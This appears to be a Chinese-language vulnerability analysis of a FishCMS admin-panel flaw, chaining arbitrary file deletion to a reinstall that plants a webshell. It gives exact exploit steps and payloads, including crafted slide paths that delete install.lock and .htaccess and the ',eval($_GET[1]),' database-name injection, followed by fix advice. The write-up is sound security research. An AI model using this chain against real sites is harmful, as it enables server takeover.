某fishcms 后台存在任意文件删除+getshell
字数 1196 2025-08-29 08:32:30
FishCMS 后台任意文件删除与GetShell漏洞分析
漏洞概述
FishCMS 后台存在一个高危漏洞组合,允许攻击者通过精心构造的请求实现任意文件删除,进而通过重新安装系统获取WebShell。该漏洞主要涉及两个关键操作:
- 任意文件删除漏洞
- 系统重装GetShell
漏洞分析
关键代码分析
漏洞核心位于后台删除幻灯片功能中,关键代码如下:
$yfile = str_replace($yuming['option_value'],'',$slide['slide_pic']);
if(!empty($yfile) && $this->isLegalPicture($slide['slide_pic'])){
@unlink(APP_PATH . '..'. DS . $yfile);
}
问题在于:
isLegalPicture()检查的是原始文件名$slide['slide_pic']- 实际删除操作使用的是经过替换后的
$yfile - 参数来源未严格过滤
文件合法性检查函数
isLegalPicture() 函数执行以下检查:
- 检查文件扩展名是否为图片格式(白名单)
- 检查文件路径是否包含
/data/(但要求路径不能直接是/data/a.jpg,必须是类似/data/a/a.jpg)
参数来源
$slide['slide_pic']- 从数据库获取,可通过添加/修改幻灯片功能控制$yuming['option_value']- 站点域名设置,可通过后台"系统设置->网站信息"修改
漏洞利用步骤
1. 修改站点域名
- 访问后台
/admin/Index/web.html(即使显示无权限也可尝试访问) - 抓取"系统设置->网站信息"的请求包
- 将
domain参数修改为:/data/b/111.jpg - 提交修改,使
options表中的option_value值变为/data/b/111.jpg
2. 构造恶意幻灯片
- 修改幻灯片,将
slideshow参数设置为:/data/b/111.jpgapplication/install.lock/data/b/111.jpg - 当执行删除操作时,
str_replace会将/data/b/111.jpg替换为空,实际删除的文件变为:application/install.lock
3. 删除关键文件
- 删除
install.lock后,系统可重新安装 - 为完全清除安装限制,还需删除
.htaccess文件:- 修改另一幻灯片为:
/data/b/111.jpgapplication/.htaccess/data/b/111.jpg - 删除该幻灯片
- 修改另一幻灯片为:
4. 重新安装获取WebShell
- 访问安装页面重新安装系统
- 在数据库配置步骤:
- 将"数据库服务器"地址改为可控的MySQL服务器(如攻击者VPS)
- 将"数据库名"改为恶意代码:
',eval($_GET[1]),'
- 安装完成后,查看
application/database.php文件,其中会包含恶意代码
漏洞修复建议
- 统一文件检查与实际操作使用的参数
- 对
$yuming['option_value']进行严格过滤,防止特殊字符 - 对幻灯片文件路径进行更严格的校验
- 安装完成后应禁用安装程序或设置强验证
总结
该漏洞利用了两个关键点:
- 文件检查与实际操作参数不一致导致的任意文件删除
- 系统重装功能缺乏足够的安全验证
开发过程中应特别注意:
- 确保安全检查与实际操作使用相同的参数
- 对用户可控的所有输入进行严格过滤
- 关键系统操作(如重装)应设置多重验证机制